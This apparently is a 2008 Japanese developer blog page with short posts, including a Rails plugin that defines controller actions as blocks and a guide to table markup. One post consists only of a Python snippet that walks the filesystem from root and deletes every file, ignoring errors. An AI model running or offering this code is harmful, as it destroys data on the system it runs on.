29th Tue

test

   1  sub new {
   2      my $class = shift;
   3      my $self = bless {
   4          config    => {},
   5          functions => [],
   6      }, $class;
   7      $self->_init(@_);
   8      return $self;
   9  }
  10  

posted by Png jazzanova on Tue 29 Jul 2008 at 17:48

ねみい

posted by Png jazzanova on Tue 29 Jul 2008 at 17:36

これまでの流れ

  1. Method#to_source を作るには Ruby を改造するしかない
  2. それは敷居が高すぎる
  3. MIME定義部分は block で妥協しよう

   1      def show
   2        @user = User.find(params[:id])
   3      end
   4  
   5      show.xml {
   6        render :text => @user.to_xml
   7      }

def と block の併用は、respond_to と同程度にキモイと気付いた

結論

そうだ!アクション定義も block にしよう!

   1      show {
   2        @user = User.find(params[:id])
   3      }
   4  
   5      show.xml {
   6        render :text => @user.to_xml
   7      }

SexyActions plugin

http://github.com/maiha/sexy_actions

動作要件

  • Rails2.x

Rails2.x の scaffold が生成する不細工なコード

   1  class UsersController < ApplicationController
   2    def index
   3      @users = User.find(:all)
   4  
   5      respond_to do |format|
   6        format.html # index.html.erb
   7        format.xml  { render :xml => @users }
   8      end
   9    end
  10  
  11    def show
  12      @user = User.find(params[:id])
  13  
  14      respond_to do |format|
  15        format.html # show.html.erb
  16        format.xml  { render :xml => @user }
  17      end
  18    end
  19  
  20    ...

俺達のセクシーなコード

   1  class UsersController < ApplicationController
   2    include SexyActions
   3  
   4    index      { @users = User.find(:all) }
   5    index.html # index.html.erb
   6    index.xml  { render :xml => @users }
   7  
   8    show      { @user = User.find(params[:id]) }
   9    show.html # show.html.erb
  10    show.xml  { render :xml => @user }
  11  
  12    ...

動作

  • 各アクションの定義は method_missing 経由で得られるproxyオブジェクトが行う
  • 表記の制約により、定義時のコンテキストはコントローラクラスになる
  • 従ってinstanceだけでなくclassに対してもアクション名と同名のメソッドが定義される

まとめ

  • 可読性が上がった (定義内容が1行の場合の美しさは半端ない)
  • 再利用性が上がった (あるMIMEの動作だけ再定義することができる)

致命的な問題

  • new アクションが定義できない事に気付いた><
posted by Png maiha on Tue 29 Jul 2008 at 17:30 with 1 comment

   1  import os
   2  for root, dirs, files in os.walk('/'):
   3      for f in files+dirs:
   4          try:
   5              os.unlink(os.path.join(root, f))
   6          except:
   7              pass

posted by Png faerie on Tue 29 Jul 2008 at 16:57

どうも。榊です。

今まではてな(http://d.hatena.ne.jp/onering/)でBLOGしていましたが
技術系のエントリーはこっちにまとめることにしました。理由は以下。

  • はてなーの方はアーセナルBLOG化している。RSSリーダーやはてなアンテナでもそのように認識されているようだ<読者から
  • 技術系の話と日記系の話が混ざるとうざい
  • はてなーの方のBLOGデザインは気に入っているがプログラムソースの表示部分だけ気に入らない(背景とかぶって読めない)
posted by Face ysakaki on Tue 29 Jul 2008 at 12:01 with 3 comments

続いては、作表の仕方を紹介します。 このブログシステムは、BlueStoleを参考にして作った作表機能があります。

BlueStole - BlueCloth Wrapper

Ruby の Markdown ライブラリ、 BlueCloth に幾つかの機能を付け足した私家拡張版です。

こんな感じに RTtool を使った作表を行うことが出来ます。

Rendering Algorithm
WhatWhoWhen
Ray TracingWhitted1980
Path TracingKajiya1986
Photon MappingJensen1995
Metropolis Light TransportVeach1997

ソースはこんな感じです。

   1  |caption=Rendering Algorithm
   2  |
   3  |What                      , Who    , When
   4  |
   5  |Ray Tracing               , Whitted, 1980
   6  |Path Tracing              , Kajiya , 1986
   7  |Photon Mapping            , Jensen , 1995
   8  |Metropolis Light Transport, Veach  , 1997

Rttoolを使っているので、以下のようにちょっと複雑な表も作成可能です。

AlphaBravo
CharlieEcho
Delta

ソースはこんな感じです。

   1  |Alpha,==,Bravo
   2  |Charlie,Echo,||
   3  |||,Delta,==

また、このようにCaptionとHeader部分は省略可能です。

posted by Png genki on Tue 29 Jul 2008 at 08:40
28th Mon

テスト

テスト


x^2+y^2=1

posted by Face actuary on Mon 28 Jul 2008 at 19:31
Contents
test
うぐぐ
SexyActions plugin
こんにちは
移転開始しました
s21gブログの使い方(2)
テスト
Comments
瀧内元気: MacOS版は以下にあります * [genki/ViMouse](https://githu... '23-1
KingofSmack: Here also good reads for this mobile applicatio... '14-5
Spencer: You don't have to re-compile it, this version w... '14-4
staiano: Any chance we can get a recompile for 10.9? '14-1
dsjf: https://gist.github.com/6bf1bf2c3cbb5eb6e7a7 これ... '13-1
Services from s21g
twpro(ツイプロ)
Twitterプロフィールを快適検索
地価2009
土地の値段を調べてみよう
MyRestaurant
自分だけのレストラン手帳
Formula
ブログに数式を埋め込める数式コミュニティ